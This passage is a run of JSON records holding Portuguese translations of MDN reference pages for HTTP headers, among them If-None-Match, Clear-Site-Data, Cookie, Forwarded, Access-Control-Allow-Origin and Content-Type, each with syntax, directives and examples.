API Screen Wake Lock (en-US) para indicar se o dispositivo deve ou não escurecer a tela.\n\n`xr-spatial-tracking` (en-US)\n\nControla se o documento atual é permitido ou não de usar a API WebXR Device (en-US) para intergir com a sessão WebXR.\n\nExemplos\n--------\n\nSecureCorp Inc. quer desabilitar o Microfone e as APIs de Geolocalização em sua aplicação. Isso pode ser feito entregando o seguinte cabeçalho de resposta HTTP para definir a política de funcionalidade:\n```\n\nFeature-Policy: microphone 'none'; geolocation 'none'\n```\n\n\nEspecificando a palavra-chave `'none'` para a lista de origem, as funcionalidades especificadas serão desabilitadas para todos os contextos de navegaçnao (incluindo todos os *iframes*), independente da origem.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Permissions Policy # permissions-policy-http-header-field |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Feature Policy (en-US)\n* Usando Feature Policy\n* `Document.featurePolicy` (en-US) and `FeaturePolicy` (en-US)\n* Feature-Policy Tester (Chrome Developer Tools extensão)\n* `Content-Security-Policy`\n* `Referrer-Policy`"}
{"title":"If-None-Match - HTTP","text":"If-None-Match\n=============\n\nO cabeçalho de requisição HTTP **`If-None-Match`** faz uma requisição condicional. Para os métodos `GET` e `HEAD`, o servidor irá mandar de volta o recurso requisitado, com um código de status `200`, somente se ele não tiver um `ETag` correspondendo as *tags* dadas pela requisição. Para outros métodos, a requisição será processada somente o recurso existente eventualmente não possuir nenhuma `ETag` correspondente nos valores listados.\n\nQuando a condição falha para métodos `GET` e `HEAD`, então o servidor deve retornar um código de status HTTP 304 (Not Modified). Para outros métodos que aplicam mudanças no lado do servidor, o código de status 412 (Precondition Failed) é utilizado. Note que o servidor gerando uma resposta 304 DEVE gerar qualquer um dos seguintes cabeçalhos que seriam enviados em uma resposta 200 (OK) para a mesma requisição: Cache-Control, Content-Location, Date, ETag, Expires, and Vary.\n\nA comparação com a `ETag` guardada usa o *algoritmo de comparação fraco*, significa que dois arquivos são considerados idênticos se o conteúdo é equivalente — eles não precisam ser idênticos *byte* por *byte*. Por exemplo, duas páginas que diferem pela data de sua geração no rodapé ainda assim serão consideradas como idênticas.\n\nQuando usado em combinação com `If-Modified-Since`, **`If-None-Match`** tem precedência (se o servidor suporta isso).\n\nExistem dois casos de uso comuns:\n\n* Para métodos `GET` e `HEAD`, para atualizar uma entidade cacheada que possui um `ETag` associado.\n* Para outros métodos, e em particular para `PUT`, `If-None-Match` usado com o valor `*` pode ser utilizado para salvar um arquivo que não se sabia existir, garantindo que outro *upload* não tenha acontecido anteriormente, perdendo os dados do *PUT* anterior; esse problema é uma variação do problema de perda de atualização.\n\n|  |  |\n| --- | --- |\n| Tipo de cabeçalho | Request header |\n| Forbidden header name | não |\n\nSintaxe\n-------\n```\n\nIf-None-Match: \"<etag_value>\"\nIf-None-Match: \"<etag_value>\", \"<etag_value>\", …\nIf-None-Match: *\n```\n\nDiretivas\n---------\n\n<etag\\_value>\n\n*Tags* de entidade que representam unicamente os recursos requisitados. Eles são uma cadeia de caracteres ASCII colocados entre aspas duplas (como `\"675af34563dc-tr34\"`). Elas podem ser prefixadas por `W/` para indicar que o *algoritmo de comparação fraco* deve ser utilizado (Isso é inútil com `If-None-Match` por ele utilizar somente este algoritmo).\n\n`*`\n\nO asterísco é um valor especial representando qualquer recurso. Eles somente são úteis quando fazendo o *upload* de um recurso, geralmente com `PUT`, para checar se outro recurso com a identidade já teve seu *upload* feito anteriormente.\n\nExemplos\n--------\n```\n\nIf-None-Match: \"bfc13a64729c4290ef5b2c2730249c88ca92d82d\"\n\nIf-None-Match: W/\"67ab43\", \"54ed21\", \"7892dd\"\n\nIf-None-Match: *\n```\n\nEspecificações\n--------------\n\n| Especificação | Título |\n| --- | --- |\n| RFC 7232, sessão 3.2: If-None-Match | Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `ETag`\n* `If-Unmodified-Since`\n* `If-Modified-Since`\n* `If-Match`\n* `304` `Not Modified`\n* `412` `Precondition Failed`"}
{"title":"Last-Modified - HTTP","text":"Last-Modified\n=============\n\nA linha de cabeçalho **`Last-Modified`** do cabeçalho de resposta HTTP contém a data e a hora em que o servidor de origem acredita que o recurso foi modificado pela última vez. É usado como um validador para determinar se um recurso recebido ou armazenado é o mesmo. Menos preciso do que um cabeçalho `ETag`, é um mecanismo de retorno. Os pedidos condicionais `If-Modified-Since` or `If-Unmodified-Since` fazem uso deste campo.\n\n|  |  |\n| --- | --- |\n| Header type | Response header (en-US) |\n| Forbidden header name | no |\n| CORS-safelisted response-header (en-US) | yes |\n\nSyntax\n------\n```\n\nLast-Modified: <day-name>, <day> <month> <year> <hour>:<minute>:<second> GMT\n```\n\nDirectives\n----------\n\n<day-name>\n\nOne of \"Mon\", \"Tue\", \"Wed\", \"Thu\", \"Fri\", \"Sat\", or \"Sun\" (case-sensitive).\n\n<day>\n\n2 digit day number, e.g. \"04\" or \"23\".\n\n<month>\n\nOne of \"Jan\", \"Feb\", \"Mar\", \"Apr\", \"May\", \"Jun\", \"Jul\", \"Aug\", \"Sep\", \"Oct\", \"Nov\", \"Dec\" (case sensitive).\n\n<year>\n\n4 digit year number, e.g. \"1990\" or \"2016\".\n\n<hour>\n\n2 digit hour number, e.g. \"09\" or \"23\".\n\n<minute>\n\n2 digit minute number, e.g. \"04\" or \"59\".\n\n<second>\n\n2 digit second number, e.g. \"04\" or \"59\".\n\n`GMT`\n\nGreenwich Mean Time. HTTP dates are always expressed in GMT, never in local time.\n\nExamples\n--------\n```\n\nLast-Modified: Wed, 21 Oct 2015 07:28:00 GMT\n```\n\nSpecifications\n--------------\n\n| Specification | Title |\n| --- | --- |\n| RFC 7232, sessão 2.2: Last-Modified | Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nSee also\n--------\n\n* `If-Modified-Since`\n* `If-Unmodified-Since`\n* `Etag`"}
{"title":"Link - HTTP","text":"Link\n====\n\nO cabeçalho de entidade **`Link`** provém maneiras para serializar um ou mais links em cabeçalhos HTTP. Ele é semanticamente equivalente ao elemento HTML `<link>`.\n\nSintaxe\n-------\n```\n\nLink: < uri-reference >; param1=value1; param2=\"value2\"\n```\n\n\n`<uri-reference>`\n\nA referência da URI, precisa ser encapsulado entre `<` e `>`.\n\n### Parâmetros\n\nO cabeçalho *link* contém parâmetros, os quais são separados com `;` e são equivalentes aos atributos do elemento `<link>`.\n\nExemplos\n--------\n\nA URI precisa ser encapsulado entre `<` e `>`:\n\n\n```http\nLink: <https://example.com>; rel=\"preconnect\"\n```\n\n\n\n```http\nLink: https://bad.example; rel=\"preconnect\"\n```\n\n### Especificando múltiplos *links*\n\nVocê pode especificar múltiplos *links* separados por vírgulas, por exemplo:\n```\n\nLink: <https://one.example.com>; rel=\"preconnect\", <https://two.example.com>; rel=\"preconnect\", <https://three.example.com>; rel=\"preconnect\"\n```\n\nEspecificações\n--------------\n\n| Especificação | Status | Comentários |\n| --- | --- | --- |\n| RFC 8288, sessão 3: Link Serialisation in HTTP Headers | IETF RFC |  |\n| RFC 5988, sessão 5: The Link Header Field | IETF RFC | Definição inicial |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `103 Early Hints`"}
{"title":"Origin - HTTP","text":"Origin\n======\n\nO cabeçalho de requisição **`Origin`** indica onde a requisição se originou. Ele não inclui nenhuma informação do caminho, somente o nome do servidor. Ele é enviado com requisições CORS, também como requisições `POST`. Ele é similar ao cabeçalho `Referer`, mas, diferente deste cabeçalho, ele não mostra o caminho inteiro.\n\n**Nota:** O cabeçalho `Origin` não é colocado em requisições Fetch com um método `HEAD` ou `GET` (este comportamento foi corrigido no Firefox 65 — veja Erro do Firefox 1508661).\n\n\n|  |  |\n| --- | --- |\n| Tipo de cabeçalho | Request header |\n| Forbidden header name | sim |\n\nSintaxe\n-------\n```\n\nOrigin: null\nOrigin: <scheme> \"://\" <hostname> [ \":\" <port> ]\n```\n\nDiretivas\n---------\n\n<scheme>\n\nO protocolo que é usado. Usualmente ele é o protocolo HTTP ou na sua versão segura, HTTPS.\n\n<hostname>\n\nO nome do domínio do servidor (para *host* virtual) ou o endereço IP.\n\n<port> Optional\n\nO número da porta TCP que o servidor está escutando. Se a porta não é dada, a porta padrão do serviço requisitado é implítica (e.g., \"80\" para uma URL HTTP).\n\nExemplos\n--------\n```\n\nOrigin: https://developer.mozilla.org\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| The Web Origin Concept # section-7 |\n| Fetch Standard # origin-header |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Host`\n* `Referer`\n* Same-origin policy (en-US)"}
{"title":"Clear-Site-Data - HTTP","text":"Clear-Site-Data\n===============\n\nO cabeçalho HTTP **`Clear-Site-Data`** limpa os dados de navegação (*cookies*, armazenamento, *cache*) associados com o site requisitado. Ele permite desenvolvedores web terem maior controle sobre os dados armazenados localmente pelo navegador para suas origens.\n\n|  |  |\n| --- | --- |\n| Tipo de cabeçalho | Response header (en-US) |\n| Forbidden header name | não |\n\nSintaxe\n-------\n\nO cabeçalho `Clear-Site-Data` aceita uma ou mais diretivas. Se todos os dados devem ser limpos, a diretiva coringa (`\"*\"`) pode ser usada.\n```\n\n// Diretiva única\nClear-Site-Data: \"cache\"\n\n// Múltiplas diretivas (separado por vírgula)\nClear-Site-Data: \"cache\", \"cookies\"\n\n// Coringa\nClear-Site-Data: \"*\"\n```\n\nDiretivas\n---------\n\n**Nota:** Todas as diretivas devem estar de acordo com a gramática de cadeia de caracteres com as aspas. A diretiva que não inclui aspas duplas é inválida.\n\n`\"cache\"`\n\nIndica que o servidor quer remover localmente os dados cacheados (i.e. o cache do navegador, veja HTTP caching) para a URL de origem da resposta. Dependendo do navegador, essa diretiva pode acabar apagando outras coisas como páginas pré-renderizadas, *scripts* armazenados, shaders WebGL ou sugestões na barra de endereço.\n\n`\"cookies\"`\n\nIndica que o servidor quer remover todos os *cookies* da URL de origem da resposta. Credenciais de autenticação HTTP também são limpas. Isso afeta o registro inteiro do domínio, incluindo subdomínios. Então, `https://example.com` também como `https://stage.example.com`, terão seus *cookies* limpos.\n\n`\"storage\"`\n\nIndica que o servidor quer remover todo o armezenamento DOM para a URL de origem da resposta. Isso incluí mecanismos de armazenamento como:\n\n* localStorage (executa `localStorage.clear`),\n* sessionStorage (executa `sessionStorage.clear`),\n* IndexedDB (para cada banco de dados, executa `IDBFactory.deleteDatabase` (en-US)),\n* Registros de serviços de trabalhadores (para cada registro de serviço de trabalhador, executa `ServiceWorkerRegistration.unregister` (en-US)),\n* AppCache,\n* Banco de dados WebSQL,\n* FileSystem API data (en-US),\n* Dados de plugin (Flash via `NPP_ClearSiteData`).\n\n`\"executionContexts\"`\n\nIndica que o servidor quer recarregar todos os contextos do navegador da origem da resposta (`Location.reload`).\n\n`\"*\"` (coringa)\n\nIndica que o servidor quer limpar todos os tipos de dados da origem da resposta. Se mais tipos de dados forem adicionados nesse cabeçalho, eles também serão cobertos.\n\nExemplos\n--------\n\n### Deslogar de um site\n\nSe um usuário se desloga de um site ou serviço, você talvez queira remover dados armazenados localmente. Você pode atingir isso adicionando o cabeçalho `Clear-Site-Data` quando enviando a página confirmando o desligamento da autenticação da pessoa do site foi feito com sucesso (`https://example.com/logout`, por exemplo):\n```\n\nClear-Site-Data: \"cache\", \"cookies\", \"storage\", \"executionContexts\"\n```\n\n### Limpando cookies\n\nSe o cabeçalho é entregue com a resposta em `https://example.com/clear-cookies`, todos os *cookies* no mesmo domínio e qualquer subdomínio (como `https://stage.example.com`, etc), serão limpos.\n```\n\nClear-Site-Data: \"cookies\"\n```\n\nEspecificações\n--------------\n\n| Especificação | Status | Título |\n| --- | --- | --- |\n| Clear Site Data | Working Draft | Initial definition. |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Cache-Control`"}
{"title":"Host - HTTP","text":"Host\n====\n\nO cabeçalho de solicitação de **`Host`** especifica o nome de domínio do servidor (para hospedagem virtual), e (opcionalmente) o número da porta TCP no qual o servidor está escutando.\n\nSe nenhuma porta for fornecida a porta padrão para o serviço solicitado (por exemplo, \"80\" para um HTTP URL) está implícita.\n\nUm campo de cabeçalho de `Host` deve ser enviado em todas as mensagens desolicitação HTTP / 1. 1. Um código de status `400` (Bad Request) será enviado para qualquer mensagem de solicitação HTTP/1.1 que não contenha um campo de cabeçalho do host ou contenha mais de um.\n\n|  |  |\n| --- | --- |\n| Header type | Request header |\n| Forbidden header name | yes |\n\nSyntax\n------\n```\n\nHost: <host>:<port>\n```\n\nDirectives\n----------\n\n<host>\n\nthe domain name of the server (for virtual hosting).\n\n<port> Optional\n\nTCP port number on which the server is listening.\n\nExamples\n--------\n```\n\nHost: developer.mozilla.org\n```\n\nSpecifications\n--------------\n\n| Specification | Title |\n| --- | --- |\n| RFC 7230, sessão 5.4: Host | Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nSee also\n--------\n\n* `400`"}
{"title":"Cookie - HTTP","text":"Cookie\n======\n\nO cabeçalho de requisição HTTP **`Cookie`** contém cookies HTTP armazenados anteriormente que foram enviados pelo servidor com o cabeçalho `Set-Cookie`.\n\nO cabeçalho `Cookie` é opicional e pode ser omitido se, por exemplo, as configurações de privacidade do navegador bloqueiam *cookies*.\n\n|  |  |\n| --- | --- |\n| Tipo de cabeçalho | Request header |\n| Forbidden header name | sim |\n\nSintaxe\n-------\n```\n\nCookie: <cookie-list>\nCookie: name=value\nCookie: name=value; name2=value2; name3=value3\n```\n\n\n<cookie-list>\n\nUma lista de pares nome-valor na forma de `<cookie-name>=<cookie-value>`. Pares na lista são separados por ponto e vírgula e um espaço (`'; '`).\n\nExemplos\n--------\n```\n\nCookie: PHPSESSID=298zf09hf012fh2; csrftoken=u32t4o3tb3gg43; _gat=1;\n```\n\nEspecificações\n--------------\n\n| Especificação | Título |\n| --- | --- |\n| RFC 6265, sessão 5.4: Cookie | HTTP State Management Mechanism |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Set-Cookie`\n* `Document.cookie` (en-US)"}
{"title":"Forwarded - HTTP","text":"Forwarded\n=========\n\nO cabeçalho **`Forwarded`** contém informação dos servidores de proxy reverso (en-US) que é alterada ou perdida quando um proxy está envolvido no caminho da requisição.\n\nA versão alternativa e de fato padrão deste cabeçalho são os cabeçalhos `X-Forwarded-For`, `X-Forwarded-Host` e `X-Forwarded-Proto`.\n\nEste cabeçalho é utilizado para depuração, estatísticas, e gerar conteúdo localmente dependente e por design ele expõe informações privadas sensíveis, como o endereço IP do cliente. Sendo assim, a privacidade do usuário deve sempre estar em mente quando utilizando este cabeçalho.\n\n|  |  |\n| --- | --- |\n| Tipo de cabeçalho | Request header |\n| Forbidden header name | não |\n\nSintaxe\n-------\n```\n\nForwarded: by=<identifier>;for=<identifier>;host=<host>;proto=<http|https>\n```\n\nDiretivas\n---------\n\n<identifier>\n\nUm identificador divulgando a informação que é alterada ou perdida usando um proxy. Ela pode ser tanto:\n\n* um endereço IP (v4 ou v6, opicionalmente com a porta, e IPv6 encapsulado por colchetes e aspas),\n* um identificador ofuscado (como um \"\\_hidden\" ou \"\\_secret\"),\n* ou \"unknown\" (desconhecido) quando a entidade precedente não é conhecida (e você ainda quer indicar que aquela repassagem da requisição foi feita).\n\nby=<identifier>\n\nA interface onde a requisição chegou ao servidor proxy.\n\nfor=<identifier>\n\nO cliente que iniciou a requisição e subsequentes proxies na cadeia de proxies.\n\nhost=<host>\n\nO cabeçalho de requisição `Host` como foi recebido pelo proxy.\n\nproto=<http|https>\n\nIndica qual protocolo foi usado para fazer a requisição (tipicamente \"http\" ou \"https\").\n\nExemplos\n--------\n\n### Usando o cabeçalho `Forwarded`\n```\n\nForwarded: for=\"_mdn\"\n\n# sem sensibilidade de capitalização\nForwarded: For=\"[2001:db8:cafe::17]:4711\"\n\n# separado por ponto e vírgula\nForwarded: for=192.0.2.60;proto=http;by=203.0.113.43\n\n# múltiplos valores podem ser concatenados usando uma vírgula\nForwarded: for=192.0.2.43, for=198.51.100.17\n```\n\n### Transicionando de `X-Forwarded-For` para `Forwarded`\n\nSe a sua aplicação, servidor, ou proxy suporta o cabeçalho padrozinado `Forwarded`, o cabeçalho `X-Forwarded-For` pode então ser substituído. Note que o endereço IPv6 está entre colchetes e aspas em `Forwarded`.\n```\n\nX-Forwarded-For: 123.34.567.89\nForwarded: for=123.34.567.89\n\nX-Forwarded-For: 192.0.2.43, \"[2001:db8:cafe::17]\"\nForwarded: for=192.0.2.43, for=\"[2001:db8:cafe::17]\"\n```\n\nEspecificações\n--------------\n\n| Especificação | Título |\n| --- | --- |\n| RFC 7239, sessão 4: Forwarded | Forwarded HTTP Extension |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `X-Forwarded-For`\n* `X-Forwarded-Host`\n* `X-Forwarded-Proto`\n* `Via` – provém informação sobre o proxy em si, não sobre o cliente conectando a ele."}
{"title":"Content-Length - HTTP","text":"Content-Length\n==============\n\nO cabeçalho de entidade **`Content-Length`** indica o tamanho do corpo da entidade, em bytes, enviado ao destinatário.\n\n|  |  |\n| --- | --- |\n| Tipo de cabeçalho | Entity header |\n| Forbidden header name | sim |\n\nSintaxe\n-------\n```\n\nContent-Length: <tamanho>\n```\n\nDiretivas\n---------\n\n<tamanho>\n\nO tamanho em número decimal de octetos.\n\nEspecificações\n--------------\n\n| Especificação | Título |\n| --- | --- |\n| RFC 7230, sessão 3.3.2: Content-Length | Protocolo de Transferência de Hypertexto (HTTP/1.1): Sintaxe de mensagem e Roteamento |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Transfer-Encoding`"}
{"title":"Access-Control-Allow-Origin - HTTP","text":"Access-Control-Allow-Origin\n===========================\n\nO **`Access-Control-Allow-Origin`** cabeçalho de resposta indica se os recursos da resposta podem ser compartilhados com a origin dada.\n\n|  |  |\n| --- | --- |\n| Tipo de cabeçalho | Response header (en-US) |\n| Forbidden header name | no |\n\nSintaxe\n-------\n```\n\nAccess-Control-Allow-Origin: *\nAccess-Control-Allow-Origin: <origin>\n```\n\nDiretivas\n---------\n\n`*`\n\nPara as requisições sem credenciais, o servidor pode especificar \"\\*\" como um curinga, permitindo assim que qualquer origem acesse o recurso.\n\n`<origin>`\n\nEspecifica a URI que pode acessar o recurso.\n\nExemplos\n--------\n\nPara permitir que qualquer origin acesse o seu recurso, você pode especificar desta forma:\n```\n\nAccess-Control-Allow-Origin: *\n```\n\n\nPara permitir que `https://developer.mozilla.org` acesse seu recurso, você pode especificar:\n```\n\nAccess-Control-Allow-Origin: https://developer.mozilla.org\n```\n\n### CORS e caching\n\nSe o servidor especificar um host de origem em vez de \"\\*\", ele também deverá incluir \"Origin\" no cabeçalho de resposta `Vary` para indicar aos clientes que as respostas do servidor serão diferentes com base no valor da solicitação Origin cabeçalho.\n```\n\nAccess-Control-Allow-Origin: https://developer.mozilla.org\nVary: Origin\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Fetch Standard # http-access-control-allow-origin |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Origin`\n* `Vary`"}
{"title":"Pragma - HTTP","text":"Pragma\n======\n\nO cabeçalho genérico HTTP/1.0 **`Pragma`** é um cabeçalho de implementação específica que pode ter vários efeitos ao longo da cadeia de requisição e resposta. Ele é usado para compatibilidade retroativa com caches do HTTP/1.0 onde o cabeçalho HTTP/1.1 `Cache-Control` ainda não está presente.\n\n**Nota:** `Pragma` não é especificado para respostas HTTP e por isso não é uma substituição confiável para o cabeçalho genérico HTTP/1.1 `Cache-Control`, apesar de ele ter o mesmo comportamento que `Cache-Control: no-cache`, se o cabeçalho `Cache-Control` for omitido na requisição. Use `Pragma` somente para compatibilidade retroativa com clientes HTTP/1.0.\n\n\n|  |  |\n| --- | --- |\n| Tipo de cabeçalho | General header, mas o comportamente de\n resposta não é especificado e portanto específico de implementação.\n  |\n| Forbidden header name | não |\n| CORS-safelisted response header (en-US) | sim |\n\nSintaxe\n-------\n```\n\nPragma: no-cache\n```\n\nDiretivas\n---------\n\nno-cache\n\nO mesmo que `Cache-Control: no-cache`. Força os caches a mandarem uma requisição ao servidor de origem para validação antes de liberar a versão cacheada.\n\nExemplos\n--------\n```\n\nPragma: no-cache\n```\n\nEspecificações\n--------------\n\n| Especificação | Título |\n| --- | --- |\n| RFC 7234, sessão 5.4: Pragma | Hypertext Transfer Protocol (HTTP/1.1): Caching |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Cache-Control`\n* `Expires`"}
{"title":"X-DNS-Prefetch-Control - HTTP","text":"X-DNS-Prefetch-Control\n======================\n\nO cabeçalho de resposta HTTP **`X-DNS-Prefetch-Control`** controla a pré-busca de DNS, um recurso pelo qual os navegadores realizam proativamente a resolução de nomes de domínio em ambos os links que o usuário pode escolher, além de URLs para itens referenciados pelo documento, incluindo imagens , CSS, JavaScript e assim por diante.\nEssa pré-busca é realizada em segundo plano, de forma que o DNS (en-US) provavelmente tenha sido resolvido quando os itens referenciados forem necessários. Isso reduz a latência quando o usuário clica em um link.\n\n|  |  |\n| --- | --- |\n| Header type | Response header (en-US) |\n| Forbidden header name | no |\n\nSintaxe\n-------\n```\n\nX-DNS-Prefetch-Control: on\nX-DNS-Prefetch-Control: off\n```\n\n### Diretrivas\n\non\n\nAtivar pré-busca de DNS. Isso é o que os navegadores fazem, se eles suportam o recurso, quando esse cabeçalho não está presente.\n\noff\n\nDesativa a pré-busca de DNS. Isso é útil se você não controla o link nas páginas ou sabe que não deseja vazar informações para esses domínios.\n\nDescrição\n---------\n\nAs solicitações de DNS são muito pequenas em termos de largura de banda, mas a latência pode ser bastante alta, especialmente em redes móveis. Por meio da pré-busca especulativa de resultados de DNS, a latência pode ser reduzida significativamente em determinados momentos, como quando o usuário clica no link. Em alguns casos, a latência pode ser reduzida em um segundo.\n\nA implementação desta pré-busca em alguns navegadores permite que a resolução de nomes de domínio ocorra em paralelo com (em vez de em série com) a busca do conteúdo real da página. Ao fazer isso, o processo de resolução de nome de domínio de alta latência não causa atrasos ao buscar conteúdo.\n\nOs tempos de carregamento de páginas - especialmente em redes móveis - podem ser melhorados dessa maneira. Se os nomes de domínio para imagens puderem ser resolvidos antes das imagens serem solicitadas, as páginas que carregarem muitas imagens poderão ver uma melhoria de 5% ou mais no tempo de carregamento das imagens.\n\n### Configurando a Pré-busca no Navegador\n\nEm geral, você não precisa fazer nada para gerenciar a pré-busca. No entanto, o usuário pode querer desabilitar a pré-busca. No Firefox, isso pode ser feito configurando a preferência `network.dns.disablePrefetch` como `true`.\n\nAlém disso, por padrão, a pré-busca de nomes de host de link incorporado não é executada em documentos carregados em HTTPS. No Firefox, isso pode ser alterado configurando a preferência `network.dns.disablePrefetchFromHTTPS` como `false`.\n\nExemplos\n--------\n\n### Ativando e desativando a pré-busca\n\nVocê pode enviar o cabeçalho do lado do servidor X-DNS-Prefetch-Control ou de documentos individuais, usando o atributo `http-equiv` no `<meta>` elemento, assim:\n\n\n```html\n<meta http-equiv=\"x-dns-prefetch-control\" content=\"off\" />\n```\n\n\nVocê pode reverter essa configuração configurando o `content` como \"`on`\".\n\n### Forçando a procura de nomes de host específicos\n\nVocê pode forçar a pesquisa de nomes de host específicos sem fornecer âncoras específicas usando esse nome de host com o uso de `rel` no elemento `<link>` com um tipo de link de `dns-prefetch`:\n\n\n```html\n<link rel=\"dns-prefetch\" href=\"http://www.spreadfirefox.com/\" />\n```\n\n\nNeste exemplo, o nome de domínio \"www.spreadfirefox.com\" será pré-resolvido.\n\nDa mesma forma, o elemento de link pode ser usado para resolver nomes de host sem fornecer uma URL completa, mas apenas, precedendo o nome do host com duas barras:\n\n\n```html\n<link rel=\"dns-prefetch\" href=\"//www.spreadfirefox.com\" />\n```\n\n\nPré-busca forçada de nomes de host pode ser útil, por exemplo, na página inicial de um site para forçar a pré-resolução de nomes de domínio que são referenciados com frequência em todo o site, mesmo que eles não sejam usados na própria home page. Isso melhorará o desempenho geral do site, mesmo que o desempenho da página inicial não seja afetado.\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* DNS Prefetching for Firefox (blog post)\n* Google Chrome handles DNS prefetching control"}
{"title":"Content-Type - HTTP","text":"Content-Type\n============\n\nO cabeçalho **Content-Type** é utilizado para indicar o tipo de arquivo (en-US) do recurso.Em respostas, o `Content-Type` diz para o client qual é o tipo de conteúdo que a resposta, de fato, tem. Alguns browsers vão realizar o chamado \"MIME Sniffing\" em alguns casos e não vão, necessariamente, seguir o valor declarado por este cabeçalho. Para previnir este comportamento é possível definir o cabeçalho `X-Content-Type-Options` para o valor `nosniff`.Em requisições, como `POST` ou `PUT`, o client diz ao servidor qual o tipo de dado que está, de fato, sendo enviado.\n\n|  |  |\n| --- | --- |\n| tipo de cabeçalho | Cabeçalho de entidade |\n| Nome de cabeçalho proibido | não |\n| Cabeçalho de resposta na lista segura do CORS | sim |\n\nSintaxe\n-------\n```\n\nContent-Type: text/html; charset=utf-8\nContent-Type: multipart/form-data; boundary=something\n```\n\nDiretivas\n---------\n\n`media-type`\n\nO MIME type do recurso ou dado.\n\ncharset\n\nO encoding da string\n\nboundary\n\nPara entidades do tipo multipart, a diretiva `boundary` é obrigatória. Ela consiste em uma sequencia de 1 a 70 caracteres de um conjunto conhecido por sua robustez em gateways de e-mail, e não podem terminar com espaço em branco. É utilizado para encapsular as bordas das multiplas partes da mensagem.\n\nExemplos\n--------\n\n### `Content-Type` em formulários HTML\n\nEm uma requisição `POST`, resultado de uma submissão de um formulário HTML, o `Content-Type` da requisição é especificado pelo atributo `enctype` do elemento `<form>` (en-US) do HTML.\n\n\n```html\n<form action=\"/\" method=\"post\" enctype=\"multipart/form-data\">\n  <input type=\"text\" name=\"description\" value=\"some text\" />\n  <input type=\"file\" name=\"myFile\" />\n  <button type=\"submit\">Submit</button>\n</form>\n```\n\n\nA requisição vai parecer com isto (alguns headers não importantes foram omitidos):\n```\n\nPOST /foo HTTP/1.1\nContent-Length: 68137\nContent-Type: multipart/form-data; boundary=---------------------------974767299852498929531610575\n\n---------------------------974767299852498929531610575\nContent-Disposition: form-data; name=\"description\"\n\nsome text\n---------------------------974767299852498929531610575\nContent-Disposition: form-data; name=\"myFile\"; filename=\"foo.txt\"\nContent-Type: text/plain\n\n(content of the uploaded file foo.txt)\n---------------------------974767299852498929531610575\n```\n\nEspecificações\n--------------\n\n| Especificação | Título |\n| --- | --- |\n| RFC 7233, sessão 4.1: Content-Type in multipart | Hypertext Transfer Protocol (HTTP/1.1): Range Requests |\n| RFC 7231, sessão 3.1.1.5: Content-Type | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVer também\n----------\n\n* `Accept` e `Accept-Charset`\n* `Content-Disposition`\n* `206` Partial Content\n* `X-Content-Type-Options`"}
{"title":"Expect - HTTP","text":"Expect\n======\n\nO cabeçalho de requisição HTTP **`Expect`** indica expectativas que precisão ser cumpridas pelo servidor para lidar com a requisição apropriadamente.\n\nA única expectativa definida na especificação é `Expect: 100-continue`, para qual o servidor deve responder com:\n\n* `100` se a informação contida no cabeçalho é suficiente para causar sucesso imediato,\n* `417` (Expectativa Falhou) se ele não pode se comprometer com a expectativa; ou qualquer outro código de status 4xx caso contrário.\n\nPor exemplo, o servidor pode rejeitar a requisição se o cabeçalho `Content-Length` for muito grande.\n\nNavegadores comuns não enviam um cabeçalho `Expect`, mas alguns clientes como o cURL fazem isso por padrão.\n\n|  |  |\n| --- | --- |\n| Tipo de cabeçalho | Request header |\n| Forbidden header name | sim |\n\nSintaxe\n-------\n\nNenhuma outra expectativa exceto \"100-continue\" foi especificada atualmente.\n```\n\nExpect: 100-continue\n```\n\nDiretivas\n---------\n\n100-continue\n\nInforma os receptores que o cliente está para mandar uma mensagem com corpo (presumidamente grande) na requisição e deseja receber um código de status `100` (Continue) como resposta interina.\n\nExemplos\n--------\n\n### Mensagem de corpo grande\n\nUm cliente envia uma requisição com cabeçalho Expect e aguarda a resposta do servidor antes de mandar o corpo da mensagem.\n```\n\nPUT /somewhere/fun HTTP/1.1\nHost: origin.example.com\nContent-Type: video/h264\nContent-Length: 1234567890987\nExpect: 100-continue\n```\n\n\nO servidor checa os cabeçalhos da requisição e responde com uma resposta `100` (Continue) para instruir o cliente a continuar e enviar o corpo da mensagem, ou ele irá mandar um código de status `417` 